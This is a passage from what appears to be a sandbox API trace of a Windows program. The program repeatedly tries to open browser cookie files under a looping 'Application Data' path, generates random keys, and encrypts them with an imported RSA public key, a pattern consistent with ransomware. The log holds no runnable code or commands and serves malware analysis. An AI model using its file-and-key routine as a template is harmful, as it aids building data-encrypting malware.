Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\V7NNCJHO.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\v7nncjho.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.699] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.701] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.701] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.701] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.701] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.702] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.703] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.703] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.703] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.703] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.705] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655d98) returned 1 [0175.706] CryptGetKeyParam (in: hKey=0x3655d98, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.706] CryptEncrypt (in: hKey=0x3655d98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4d60000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4d60000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.706] GetLastError () returned 0x0 [0175.706] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.706] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.708] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656418) returned 1 [0175.708] CryptGetKeyParam (in: hKey=0x3656418, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.708] CryptEncrypt (in: hKey=0x3656418, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4d70000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4d70000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.708] GetLastError () returned 0x0 [0175.708] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.708] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\VD3GM2DA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\vd3gm2da.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.709] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.710] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.711] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.711] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.711] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.711] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.712] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.712] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.712] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.712] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.712] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.714] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655f98) returned 1 [0175.715] CryptGetKeyParam (in: hKey=0x3655f98, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.715] CryptEncrypt (in: hKey=0x3655f98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4d80000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4d80000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.715] GetLastError () returned 0x0 [0175.715] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.715] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.717] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656218) returned 1 [0175.717] CryptGetKeyParam (in: hKey=0x3656218, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.717] CryptEncrypt (in: hKey=0x3656218, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4d90000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4d90000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.717] GetLastError () returned 0x0 [0175.717] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.717] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WPEXKTDV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wpexktdv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.718] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0175.719] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.719] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.719] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.719] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.719] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.720] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.721] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.721] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.721] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.721] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.723] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656158) returned 1 [0175.723] CryptGetKeyParam (in: hKey=0x3656158, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.723] CryptEncrypt (in: hKey=0x3656158, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4da0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4da0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.723] GetLastError () returned 0x0 [0175.723] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.723] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.725] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656458) returned 1 [0175.726] CryptGetKeyParam (in: hKey=0x3656458, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.726] CryptEncrypt (in: hKey=0x3656458, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4db0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4db0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.726] GetLastError () returned 0x0 [0175.726] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.726] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WUT8M1Q8.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wut8m1q8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.726] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0175.727] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.728] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.728] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.728] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.728] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.729] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.729] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.729] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.729] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.730] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.732] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656258) returned 1 [0175.732] CryptGetKeyParam (in: hKey=0x3656258, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.732] CryptEncrypt (in: hKey=0x3656258, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4dc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4dc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.732] GetLastError () returned 0x0 [0175.732] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.732] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.734] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656358) returned 1 [0175.734] CryptGetKeyParam (in: hKey=0x3656358, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.734] CryptEncrypt (in: hKey=0x3656358, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4dd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4dd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.734] GetLastError () returned 0x0 [0175.734] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.735] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\WX75TEOR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\wx75teor.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.735] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.736] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.737] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.737] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.737] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.737] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.738] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.739] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.739] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.739] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.739] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.741] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656018) returned 1 [0175.741] CryptGetKeyParam (in: hKey=0x3656018, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.741] CryptEncrypt (in: hKey=0x3656018, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4de0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4de0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.741] GetLastError () returned 0x0 [0175.741] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.741] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.743] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655e18) returned 1 [0175.743] CryptGetKeyParam (in: hKey=0x3655e18, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.743] CryptEncrypt (in: hKey=0x3655e18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4df0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4df0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.744] GetLastError () returned 0x0 [0175.744] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.744] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\XRS5D0N2.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\xrs5d0n2.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.744] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.745] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.746] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.746] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.746] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.746] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.747] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.747] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.748] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.748] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.748] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.750] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655e98) returned 1 [0175.750] CryptGetKeyParam (in: hKey=0x3655e98, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.750] CryptEncrypt (in: hKey=0x3655e98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4e00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.750] GetLastError () returned 0x0 [0175.750] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.750] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.752] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655dd8) returned 1 [0175.752] CryptGetKeyParam (in: hKey=0x3655dd8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.752] CryptEncrypt (in: hKey=0x3655dd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4e10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.752] GetLastError () returned 0x0 [0175.752] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.752] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\XUAUK5R0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\xuauk5r0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.753] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.754] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.754] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.754] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.754] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.755] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.755] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.756] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.756] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.756] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.756] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.758] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3656058) returned 1 [0175.758] CryptGetKeyParam (in: hKey=0x3656058, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.758] CryptEncrypt (in: hKey=0x3656058, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e20000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4e20000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.758] GetLastError () returned 0x0 [0175.758] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.758] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.760] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36560d8) returned 1 [0175.760] CryptGetKeyParam (in: hKey=0x36560d8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.760] CryptEncrypt (in: hKey=0x36560d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e30000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4e30000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.760] GetLastError () returned 0x0 [0175.760] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.760] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\Y1I415YS.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\y1i415ys.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.761] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.762] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.762] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.762] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) 